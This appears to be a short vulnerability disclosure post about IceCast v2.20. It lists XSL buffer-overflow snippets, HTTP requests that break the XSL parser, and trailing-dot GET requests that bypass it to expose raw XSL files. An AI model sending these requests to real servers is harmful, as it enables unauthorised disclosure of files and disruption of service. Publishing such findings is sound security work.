IceCast up to v2.20 multiple vulnerabilities

[Patrick <patrickthomassen () gmail com>]

These are tested on IceCast v2.20. This software can be freely obtained from http://www.icecast.org.

"Icecast is a streaming media server which currently supports Ogg 
Vorbis and MP3 audio streams. It can be used to create an Internet 
radio station or a privately running jukebox and many things in 
between. It is very versatile in that new formats can be added 
relatively easily and supports open standards for commuincation and 
interaction."

1) The XSL parser has some unchecked buffers (local), but they dont seem to be exploitable. If they are, they can be 
used for priviledge escalation, under the user that the server runs.

<xsl:when test="<lots of chars>"></xsl:when>
<xsl:if test="<lots of chars>"></xsl:if>
<xsl:value-of select="<lots of chars>" />

2) Cause XSL parser error "Could not parse XSLT file". (Not very useful).

GET /status.xsl> HTTP/1.0
GET /status.xsl< HTTP/1.0
GET /<status.xsl HTTP/1.0

3) XSL parser bypass. (Useful to steal customized XSL files, lol).

GET /auth.xsl. HTTP/1.0
GET /status.xsl. HTTP/1.0